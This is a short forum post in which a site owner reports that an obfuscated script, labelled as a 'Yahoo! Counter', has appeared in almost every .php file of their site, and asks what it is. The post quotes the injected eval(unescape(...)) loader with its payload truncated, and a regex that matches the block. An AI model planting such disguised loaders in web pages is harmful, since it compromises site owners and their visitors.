This just happened to me!
I have no idea what it is or what it does, but after decompressing some of the text i got this:
<script language=javascript><!– Yahoo! Counter starts here –>
if(typeof(yahoo_counter)!=typeof(1))eval(unescape(‘%2F%2F!.$%2E%2…some compressed text….\n/%2F&%3C/%64i%76%3E').replace(/\||\$|\!|@||~|\&|#/g,””));var yahoo_counter=1;
<!– counter end –></script>
and
#<script language=javascript><!– Yahoo! Counter starts here.+?</script>
#s
I found this text in ALMOST every .php on my webarea (total of some thousand files). And I havent even touched wordpress-files in ages. This happened to me last night.
Is it yahoo counter or what?